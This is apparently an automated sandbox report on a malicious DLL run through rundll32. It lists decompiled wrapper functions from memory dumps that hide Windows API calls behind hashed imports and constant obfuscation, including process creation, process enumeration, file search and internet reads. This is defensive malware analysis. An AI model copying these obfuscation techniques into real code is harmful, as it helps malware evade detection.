0x003b50b2
0x003b50b9
0x003b50c9
0x003b50d3

APIs

ExitProcess.KERNEL32(00000000), ref: 003B50D3

Strings

KxA, xrefs: 003B50B9

Memory Dump Source

Source File: 00000006.00000002.930364249.00000000003B0000.00000040.00000010.sdmp, Offset: 003B0000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID: KxA
API String ID: 621844428-223459762
Opcode ID: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction ID: 5479e46713f41a8129e68319d5e1d608bd79ac1b658b4f847111b02d5fa1541e
Opcode Fuzzy Hash: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction Fuzzy Hash: FF01F274D05208FBCB48DFE9D946A8DFFB4EB40304F218199E511AB2A0D7702B949B05

Uniqueness

Uniqueness Score: -1.00%

Function 003B2C3A, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E003B2C3A(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t23;
				int _t29;
				WCHAR* _t33;

				_push(_a12);
				_t33 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E003B358A(_t23);
				_v16 = 0x4d9c80;
				_v16 = _v16 | 0xcc7fbb6c;
				_v16 = _v16 ^ 0xcc74081e;
				_v12 = 0xfa0b63;
				_v12 = _v12 | 0xd4c459ea;
				_v12 = _v12 ^ 0xd4f66af0;
				_v8 = 0x175dc5;
				_v8 = _v8 | 0x605a8863;
				_v8 = _v8 ^ 0x60557826;
				E003C0A93(0xaea26b2f, 0x23c, __ecx, __ecx, 0x97da6f6d);
				_t29 = lstrcmpiW(_t33, _a8); // executed
				return _t29;
			}

0x003b2c41
0x003b2c44
0x003b2c46
0x003b2c49
0x003b2c4c
0x003b2c4d
0x003b2c4e
0x003b2c53
0x003b2c5d
0x003b2c64
0x003b2c6b
0x003b2c72
0x003b2c79
0x003b2c80
0x003b2c87
0x003b2c8e
0x003b2caf
0x003b2cbb
0x003b2cc1

APIs

lstrcmpiW.KERNELBASE(?,CC74081E,?,?,?,?,?,?,?,?,00000000), ref: 003B2CBB

Strings

&xU`, xrefs: 003B2C8E

Memory Dump Source

Source File: 00000006.00000002.930364249.00000000003B0000.00000040.00000010.sdmp, Offset: 003B0000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: &xU`
API String ID: 1586166983-1954668127
Opcode ID: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction ID: a43c42d2eb75ecb4c41ecada45cc19f818104d32ca66f46ba7b09de66386212d
Opcode Fuzzy Hash: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction Fuzzy Hash: 99011675D0125CBBDB19DFD5994A9DEBFB4EF04310F00C088E919A6221D7719B109B95

Uniqueness

Uniqueness Score: -1.00%

Function 003BF66B, Relevance: 1.6, APIs: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E003BF66B(WCHAR* __ecx, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, struct _STARTUPINFOW* _a40, struct _PROCESS_INFORMATION* _a44, intOrPtr _a48, int _a56, WCHAR* _a60) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t46;
				int _t57;
				signed int _t59;
				signed int _t60;
				WCHAR* _t67;

				_push(_a60);
				_t67 = __ecx;
				_push(_a56);
				_push(0);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E003B358A(_t46);
				_v12 = 0xe19ae5;
				_v12 = _v12 + 0xe09a;
				_t59 = 0x16;
				_v12 = _v12 * 0x55;
				_v12 = _v12 ^ 0x4b33a1b3;
				_v8 = 0x3d4fbd;
				_v8 = _v8 ^ 0xea855bbf;
				_t60 = 0x67;
				_v8 = _v8 / _t59;
				_v8 = _v8 ^ 0x0aa3a294;
				_v16 = 0x5e6fbc;
				_v16 = _v16 / _t60;
				_v16 = _v16 ^ 0x00005386;
				E003C0A93(0xae3271c4, 0x240, _t60, _t60, 0x97da6f6d);
				_t57 = CreateProcessW(_t67, _a60, 0, 0, _a56, 0, 0, 0, _a40, _a44); // executed
				return _t57;
			}

0x003bf673
0x003bf678
0x003bf67a
0x003bf67d
0x003bf67e
0x003bf681
0x003bf684
0x003bf687
0x003bf688
0x003bf689
0x003bf68c
0x003bf68f
0x003bf692
0x003bf695
0x003bf698
0x003bf699
0x003bf69c
0x003bf69d
0x003bf69e
0x003bf6a3
0x003bf6ad
0x003bf6bc
0x003bf6bf
0x003bf6c2
0x003bf6c9
0x003bf6d0
0x003bf6dc
0x003bf6dd
0x003bf6e2
0x003bf6e9
0x003bf6fa
0x003bf6fd
0x003bf719
0x003bf733
0x003bf73a

APIs

CreateProcessW.KERNELBASE(2D09D167,?,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 003BF733

Memory Dump Source

Source File: 00000006.00000002.930364249.00000000003B0000.00000040.00000010.sdmp, Offset: 003B0000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction ID: fc97dfabacad752412a6b4e40bd68ad5af5791c53a06aff06bbb058c1b8a83e0
Opcode Fuzzy Hash: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction Fuzzy Hash: 53210A36900148FBDF15DF95CC0ACDFBFBAEB89704F008049FA1466250D7B69A60DB50

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 7000 Parent PID: 6888 rundll32.exeCOMMON

Executed Functions

Function 005C505F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E005C505F() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t29;

				_v12 = 0xab28db;
				_v12 = _v12 * 0xb;
				_v12 = _v12 | 0x438b2011;
				_v12 = _v12 ^ 0x47dfe9f9;
				_v8 = 0x2279c5;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 << 5;
				_v8 = _v8 ^ 0x1ef6af05;
				_v16 = 0x91523b;
				_v16 = _v16 ^ 0x417bd16a;
				_v16 = _v16 ^ 0x41eb784b;
				E005D0A93(0x9aad6eb1, 0x12d, _t29, _t29, 0x97da6f6d);
				ExitProcess(0);
			}

0x005c5065
0x005c507c
0x005c5084
0x005c508b
0x005c5092
0x005c509d
0x005c50a0
0x005c50a4
0x005c50ab
0x005c50b2
0x005c50b9
0x005c50c9
0x005c50d3

APIs

ExitProcess.KERNEL32(00000000), ref: 005C50D3

Strings

KxA, xrefs: 005C50B9

Memory Dump Source

Source File: 00000007.00000002.939332319.00000000005C0000.00000040.00000010.sdmp, Offset: 005C0000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID: KxA
API String ID: 621844428-223459762
Opcode ID: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction ID: 3858f26dd0234fdd52838cc434486c947f7e7e239e19d3d600e48e341c416e50
Opcode Fuzzy Hash: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction Fuzzy Hash: BF01F270D05208FBCB48DFE9D94AA8DFFB4EB40304F218199E511A72A0D7702B949B05

Uniqueness

Uniqueness Score: -1.00%

Function 005C2C3A, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E005C2C3A(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t23;
				int _t29;
				WCHAR* _t33;

				_push(_a12);
				_t33 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E005C358A(_t23);
				_v16 = 0x4d9c80;
				_v16 = _v16 | 0xcc7fbb6c;
				_v16 = _v16 ^ 0xcc74081e;
				_v12 = 0xfa0b63;
				_v12 = _v12 | 0xd4c459ea;
				_v12 = _v12 ^ 0xd4f66af0;
				_v8 = 0x175dc5;
				_v8 = _v8 | 0x605a8863;
				_v8 = _v8 ^ 0x60557826;
				E005D0A93(0xaea26b2f, 0x23c, __ecx, __ecx, 0x97da6f6d);
				_t29 = lstrcmpiW(_t33, _a8); // executed
				return _t29;
			}

0x005c2c41
0x005c2c44
0x005c2c46
0x005c2c49
0x005c2c4c
0x005c2c4d
0x005c2c4e
0x005c2c53
0x005c2c5d
0x005c2c64
0x005c2c6b
0x005c2c72
0x005c2c79
0x005c2c80
0x005c2c87
0x005c2c8e
0x005c2caf
0x005c2cbb
0x005c2cc1

APIs

lstrcmpiW.KERNELBASE(?,CC74081E,?,?,?,?,?,?,?,?,00000000), ref: 005C2CBB

Strings

&xU`, xrefs: 005C2C8E

Memory Dump Source

Source File: 00000007.00000002.939332319.00000000005C0000.00000040.00000010.sdmp, Offset: 005C0000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: &xU`
API String ID: 1586166983-1954668127
Opcode ID: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction ID: 22855decbe9dafcbbb60101e827fef08e8bef2ad3e1b4a2009b10f5ad1692801
Opcode Fuzzy Hash: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction Fuzzy Hash: FA011675D0124CBFDB14DFD5994A99EBFB4EF44310F00C089E81966221D7719B109B96

Uniqueness

Uniqueness Score: -1.00%

Function 005CF66B, Relevance: 1.6, APIs: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E005CF66B(WCHAR* __ecx, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, struct _STARTUPINFOW* _a40, struct _PROCESS_INFORMATION* _a44, intOrPtr _a48, int _a56, WCHAR* _a60) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t46;
				int _t57;
				signed int _t59;
				signed int _t60;
				WCHAR* _t67;

				_push(_a60);
				_t67 = __ecx;
				_push(_a56);
				_push(0);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E005C358A(_t46);
				_v12 = 0xe19ae5;
				_v12 = _v12 + 0xe09a;
				_t59 = 0x16;
				_v12 = _v12 * 0x55;
				_v12 = _v12 ^ 0x4b33a1b3;
				_v8 = 0x3d4fbd;
				_v8 = _v8 ^ 0xea855bbf;
				_t60 = 0x67;
				_v8 = _v8 / _t59;
				_v8 = _v8 ^ 0x0aa3a294;
				_v16 = 0x5e6fbc;
				_v16 = _v16 / _t60;
				_v16 = _v16 ^ 0x00005386;
				E005D0A93(0xae3271c4, 0x240, _t60, _t60, 0x97da6f6d);
				_t57 = CreateProcessW(_t67, _a60, 0, 0, _a56, 0, 0, 0, _a40, _a44); // executed
				return _t57;
			}

0x005cf673
0x005cf678
0x005cf67a
0x005cf67d
0x005cf67e
0x005cf681
0x005cf684
0x005cf687
0x005cf688
0x005cf689
0x005cf68c
0x005cf68f
0x005cf692
0x005cf695
0x005cf698
0x005cf699
0x005cf69c
0x005cf69d
0x005cf69e
0x005cf6a3
0x005cf6ad
0x005cf6bc
0x005cf6bf
0x005cf6c2
0x005cf6c9
0x005cf6d0
0x005cf6dc
0x005cf6dd
0x005cf6e2
0x005cf6e9
0x005cf6fa
0x005cf6fd
0x005cf719
0x005cf733
0x005cf73a

APIs

CreateProcessW.KERNELBASE(2D09D167,?,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 005CF733

Memory Dump Source

Source File: 00000007.00000002.939332319.00000000005C0000.00000040.00000010.sdmp, Offset: 005C0000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction ID: ebdfa1c5cf1f0c1407b201303400284e70f73a4f538db5ac01eb201d6ac16a07
Opcode Fuzzy Hash: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction Fuzzy Hash: C621F736900248FBDF15DF95CC0ACDFBFBAEB89700F008049FA1466250D6B69A60DB51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 6496 Parent PID: 6920 rundll32.exeCOMMON

Executed Functions

Function 010B505F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010B505F() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t29;

				_v12 = 0xab28db;
				_v12 = _v12 * 0xb;
				_v12 = _v12 | 0x438b2011;
				_v12 = _v12 ^ 0x47dfe9f9;
				_v8 = 0x2279c5;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 << 5;
				_v8 = _v8 ^ 0x1ef6af05;
				_v16 = 0x91523b;
				_v16 = _v16 ^ 0x417bd16a;
				_v16 = _v16 ^ 0x41eb784b;
				E010C0A93(0x9aad6eb1, 0x12d, _t29, _t29, 0x97da6f6d);
				ExitProcess(0);
			}

0x010b5065
0x010b507c
0x010b5084
0x010b508b
0x010b5092
0x010b509d
0x010b50a0
0x010b50a4
0x010b50ab
0x010b50b2
0x010b50b9
0x010b50c9
0x010b50d3

APIs

ExitProcess.KERNEL32(00000000), ref: 010B50D3

Strings

KxA, xrefs: 010B50B9

Memory Dump Source

Source File: 0000000C.00000002.1031053353.00000000010B0000.00000040.00000001.sdmp, Offset: 010B0000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID: KxA
API String ID: 621844428-223459762
Opcode ID: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction ID: 99ce7cb3eda9bbd1be520d91ffe646e3133a8d831d5706f3b7919a74b0ed0003
Opcode Fuzzy Hash: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction Fuzzy Hash: 3C01F274D05208FBCB48DFE9D94698DFFB4EB40304F218199E511A72A0D7702B949F05

Uniqueness

Uniqueness Score: -1.00%

Function 010B2C3A, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E010B2C3A(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t23;
				int _t29;
				WCHAR* _t33;

				_push(_a12);
				_t33 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E010B358A(_t23);
				_v16 = 0x4d9c80;
				_v16 = _v16 | 0xcc7fbb6c;
				_v16 = _v16 ^ 0xcc74081e;
				_v12 = 0xfa0b63;
				_v12 = _v12 | 0xd4c459ea;
				_v12 = _v12 ^ 0xd4f66af0;
				_v8 = 0x175dc5;
				_v8 = _v8 | 0x605a8863;
				_v8 = _v8 ^ 0x60557826;
				E010C0A93(0xaea26b2f, 0x23c, __ecx, __ecx, 0x97da6f6d);
				_t29 = lstrcmpiW(_t33, _a8); // executed
				return _t29;
			}

0x010b2c41
0x010b2c44
0x010b2c46
0x010b2c49
0x010b2c4c
0x010b2c4d
0x010b2c4e
0x010b2c53
0x010b2c5d
0x010b2c64
0x010b2c6b
0x010b2c72
0x010b2c79
0x010b2c80
0x010b2c87
0x010b2c8e
0x010b2caf
0x010b2cbb
0x010b2cc1

APIs

lstrcmpiW.KERNELBASE(?,CC74081E,?,?,?,?,?,?,?,?,00000000), ref: 010B2CBB

Strings

&xU`, xrefs: 010B2C8E

Memory Dump Source

Source File: 0000000C.00000002.1031053353.00000000010B0000.00000040.00000001.sdmp, Offset: 010B0000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: &xU`
API String ID: 1586166983-1954668127
Opcode ID: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction ID: 89e3936018df43a4382b022a475601ab224543f3d7dda3f5810024ee8ddf3799
Opcode Fuzzy Hash: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction Fuzzy Hash: 42011675D01248BBDB04DFD5994A9DEBFB4EF04210F10C188E81966220D7719B109F95

Uniqueness

Uniqueness Score: -1.00%

Function 010BF66B, Relevance: 1.6, APIs: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E010BF66B(WCHAR* __ecx, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, struct _STARTUPINFOW* _a40, struct _PROCESS_INFORMATION* _a44, intOrPtr _a48, int _a56, WCHAR* _a60) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t46;
				int _t57;
				signed int _t59;
				signed int _t60;
				WCHAR* _t67;

				_push(_a60);
				_t67 = __ecx;
				_push(_a56);
				_push(0);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E010B358A(_t46);
				_v12 = 0xe19ae5;
				_v12 = _v12 + 0xe09a;
				_t59 = 0x16;
				_v12 = _v12 * 0x55;
				_v12 = _v12 ^ 0x4b33a1b3;
				_v8 = 0x3d4fbd;
				_v8 = _v8 ^ 0xea855bbf;
				_t60 = 0x67;
				_v8 = _v8 / _t59;
				_v8 = _v8 ^ 0x0aa3a294;
				_v16 = 0x5e6fbc;
				_v16 = _v16 / _t60;
				_v16 = _v16 ^ 0x00005386;
				E010C0A93(0xae3271c4, 0x240, _t60, _t60, 0x97da6f6d);
				_t57 = CreateProcessW(_t67, _a60, 0, 0, _a56, 0, 0, 0, _a40, _a44); // executed
				return _t57;
			}

0x010bf673
0x010bf678
0x010bf67a
0x010bf67d
0x010bf67e
0x010bf681
0x010bf684
0x010bf687
0x010bf688
0x010bf689
0x010bf68c
0x010bf68f
0x010bf692
0x010bf695
0x010bf698
0x010bf699
0x010bf69c
0x010bf69d
0x010bf69e
0x010bf6a3
0x010bf6ad
0x010bf6bc
0x010bf6bf
0x010bf6c2
0x010bf6c9
0x010bf6d0
0x010bf6dc
0x010bf6dd
0x010bf6e2
0x010bf6e9
0x010bf6fa
0x010bf6fd
0x010bf719
0x010bf733
0x010bf73a

APIs

CreateProcessW.KERNELBASE(2D09D167,?,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 010BF733

Memory Dump Source

Source File: 0000000C.00000002.1031053353.00000000010B0000.00000040.00000001.sdmp, Offset: 010B0000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction ID: 30d13adca0abc1191be235543059e117cf27845368a3cc2417b4e50eb445170d
Opcode Fuzzy Hash: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction Fuzzy Hash: 0421F636900148FBDF15DF96CC0ACDFBFBAEB89700F108089FA1466260D7B69A60DB50

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 6128 Parent PID: 6496 rundll32.exeCOMMON

Executed Functions

Function 00EB3394, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
filenetworkCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00EB3394(void* __ecx, void* __edx, void* _a4, void* _a8, intOrPtr _a12, long _a16, DWORD* _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t34;
				int _t40;

				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E00EB358A(_t34);
				_v12 = 0x7f6b59;
				_v12 = _v12 + 0xffff1eae;
				_v12 = _v12 << 0x10;
				_v12 = _v12 ^ 0x8a017b05;
				_v8 = 0x86a8a3;
				_v8 = _v8 + 0x743d;
				_v8 = _v8 | 0xc6fb265b;
				_v8 = _v8 + 0xffff26dd;
				_v8 = _v8 ^ 0xc6fa1265;
				_v16 = 0x1eb5a8;
				_v16 = _v16 << 0x10;
				_v16 = _v16 ^ 0xb5ad45e3;
				E00EC0A93(0xe7c0fd33, 8, __ecx, __ecx, 0x746d919);
				_t40 = InternetReadFile(_a4, _a8, _a16, _a20); // executed
				return _t40;
			}

0x00eb339a
0x00eb339d
0x00eb33a0
0x00eb33a3
0x00eb33a6
0x00eb33aa
0x00eb33ab
0x00eb33b0
0x00eb33ba
0x00eb33c1
0x00eb33c5
0x00eb33cc
0x00eb33d3
0x00eb33da
0x00eb33e1
0x00eb33e8
0x00eb33ef
0x00eb33f6
0x00eb33fa
0x00eb3418
0x00eb342c
0x00eb3431

APIs

InternetReadFile.WININET(8A017B05,B5AD45E3,?,?), ref: 00EB342C

Strings

=t, xrefs: 00EB33D3

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: FileInternetRead
String ID: =t
API String ID: 778332206-2086268772
Opcode ID: 1ea264287f15000a41c4becbe50c600cf697e8e4a27d44ce9c23195ef66fae5e
Instruction ID: 0594eaa3faeea0541fdfd8e751b43b208348c952a24182ee7ed7287ebc5b9bed
Opcode Fuzzy Hash: 1ea264287f15000a41c4becbe50c600cf697e8e4a27d44ce9c23195ef66fae5e
Instruction Fuzzy Hash: 7E1103B6D0420DBBDF01AFE4C9469DEBB71EB04300F108088F91466121D7B29B62AF80

Uniqueness

Uniqueness Score: -1.00%

Function 00ECE2C8, Relevance: 1.5, APIs: 1, Instructions: 42
fileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00ECE2C8(struct _WIN32_FIND_DATAW* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t30;
				void* _t37;
				struct _WIN32_FIND_DATAW* _t41;

				_push(_a8);
				_t41 = __ecx;
				_push(_a4);
				_push(__ecx);
				E00EB358A(_t30);
				_v16 = 0x5048a4;
				_v16 = _v16 << 1;
				_v16 = _v16 ^ 0x491d25b5;
				_v16 = _v16 ^ 0x49b392fc;
				_v8 = 0x81d843;
				_v8 = _v8 + 0xffff1f82;
				_v8 = _v8 >> 5;
				_v8 = _v8 * 0x6d;
				_v8 = _v8 ^ 0x01b47671;
				_v12 = 0x1deeda;
				_v12 = _v12 << 0xb;
				_v12 = _v12 + 0xa025;
				_v12 = _v12 ^ 0xef7153f9;
				E00EC0A93(0x90b108a4, 0x357, __ecx, __ecx, 0x97da6f6d);
				_t37 = FindFirstFileW(_a8, _t41); // executed
				return _t37;
			}

0x00ece2cf
0x00ece2d2
0x00ece2d4
0x00ece2d8
0x00ece2d9
0x00ece2de
0x00ece2e8
0x00ece2eb
0x00ece2f2
0x00ece2f9
0x00ece300
0x00ece307
0x00ece31b
0x00ece323
0x00ece32a
0x00ece331
0x00ece335
0x00ece33c
0x00ece34c
0x00ece358
0x00ece35e

APIs

FindFirstFileW.KERNEL32(49B392FC,?,?,?,?,?,?,?,?,0000007C), ref: 00ECE358

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 01bbbee7d134792f612db04b22406960f720b7ee30a51e2b4ad9f345277f7be7
Instruction ID: ac388c92634dfa91b0c2946de003ff5bca546bab53bf1943f20cf0c8777ebfda
Opcode Fuzzy Hash: 01bbbee7d134792f612db04b22406960f720b7ee30a51e2b4ad9f345277f7be7
Instruction Fuzzy Hash: 0C013276C05208FBDB08DFA8D90A9DEBBB4EF40314F108199E924A6260D7B56B14DF81

Uniqueness

Uniqueness Score: -1.00%

Function 00ED1B99, Relevance: 1.5, APIs: 1, Instructions: 33
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00ED1B99(void* __ecx, int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t32;

				_v24 = _v24 & 0x00000000;
				_v20 = _v20 & 0x00000000;
				_v28 = 0x1142a3;
				_v16 = 0x988470;
				_v16 = _v16 * 5;
				_v16 = _v16 ^ 0x02f8e52f;
				_v12 = 0x92f973;
				_v12 = _v12 + 0xffff1bf9;
				_v12 = _v12 ^ 0x00999b7e;
				_v8 = 0x76942;
				_v8 = _v8 | 0x28d55476;
				_v8 = _v8 ^ 0x5c07813d;
				_v8 = _v8 ^ 0x74d56b5b;
				E00EC0A93(0xac5019f8, 0x147, __ecx, __ecx, 0x97da6f6d);
				_t32 = CreateToolhelp32Snapshot(_a8, 0); // executed
				return _t32;
			}

0x00ed1b9f
0x00ed1ba3
0x00ed1ba7
0x00ed1bae
0x00ed1bc5
0x00ed1bcd
0x00ed1bd4
0x00ed1bdb
0x00ed1be2
0x00ed1be9
0x00ed1bf0
0x00ed1bf7
0x00ed1bfe
0x00ed1c0e
0x00ed1c1b
0x00ed1c20

APIs

CreateToolhelp32Snapshot.KERNEL32(02F8E52F,00000000), ref: 00ED1C1B

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: b9b0bae15c15fe7ee040604755b9c6b5a28aa46ead81e70933f27a0a1836d12b
Instruction ID: 2cab2863421bdcc0b76de5a92dab60b210df547e80f4b1b657e92306a92b3d15
Opcode Fuzzy Hash: b9b0bae15c15fe7ee040604755b9c6b5a28aa46ead81e70933f27a0a1836d12b
Instruction Fuzzy Hash: 0F011A75D05309FBCB04DFA8D94AA9EBBF4EB00314F208188E425B6261E7B45B148F40

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2F8B, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E00EC2F8B(void* __ecx, void* __edx, intOrPtr _a8, intOrPtr _a12, DWORD* _a16, intOrPtr _a24, WCHAR* _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a48) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t37;
				int _t45;

				_push(_a48);
				_push(0);
				_push(_a40);
				_push(_a36);
				_push(_a32);
				_push(0);
				_push(_a24);
				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(0);
				_push(0);
				E00EB358A(_t37);
				_v16 = 0x9e83cd;
				_v16 = _v16 * 0x21;
				_v16 = _v16 | 0x2e16a98e;
				_v16 = _v16 ^ 0x3e7c59df;
				_v12 = 0xc8c861;
				_v12 = _v12 >> 3;
				_v12 = _v12 ^ 0x3f756348;
				_v12 = _v12 ^ 0x3f60ef0b;
				_v8 = 0xa341cc;
				_v8 = _v8 + 0xe972;
				_v8 = _v8 + 0xffff2ccb;
				_v8 = _v8 ^ 0x00a1bec4;
				E00EC0A93(0xedba24fb, 0x68, __ecx, __ecx, 0x97da6f6d);
				_t45 = GetVolumeInformationW(_a32, 0, 0, _a16, 0, 0, 0, 0); // executed
				return _t45;
			}

0x00ec2f92
0x00ec2f97
0x00ec2f98
0x00ec2f9b
0x00ec2f9e
0x00ec2fa1
0x00ec2fa2
0x00ec2fa5
0x00ec2fa6
0x00ec2fa9
0x00ec2fac
0x00ec2faf
0x00ec2fb0
0x00ec2fb1
0x00ec2fb2
0x00ec2fb7
0x00ec2fcb
0x00ec2fce
0x00ec2fd5
0x00ec2fdc
0x00ec2fe3
0x00ec2fe7
0x00ec2fee
0x00ec2ff5
0x00ec2ffc
0x00ec3003
0x00ec3010
0x00ec3028
0x00ec303c
0x00ec3042

APIs

GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00EC303C

Strings

r, xrefs: 00EC2FFC
Hcu?, xrefs: 00EC2FE7

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: InformationVolume
String ID: Hcu?$r
API String ID: 2039140958-387928853
Opcode ID: 72a0f5fcc0593c0b222dd612c865db2867851f8828395aa415f0546057203f65
Instruction ID: 592d235bdb352e21195feced800785a070d0cc09162af5ca19ce66bd8568fb6f
Opcode Fuzzy Hash: 72a0f5fcc0593c0b222dd612c865db2867851f8828395aa415f0546057203f65
Instruction Fuzzy Hash: 3E11C472802219FBCF15DFE68D498CFBFB9EF09364F108188F91966160D2719A64DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EBCA5D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 74%

